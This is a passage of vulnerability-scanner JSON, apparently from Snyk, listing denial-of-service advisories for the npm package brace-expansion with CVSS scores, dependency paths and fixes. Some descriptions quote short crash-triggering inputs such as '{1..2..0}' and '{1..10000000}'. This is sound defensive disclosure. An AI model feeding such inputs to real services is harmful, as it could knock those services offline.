version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ 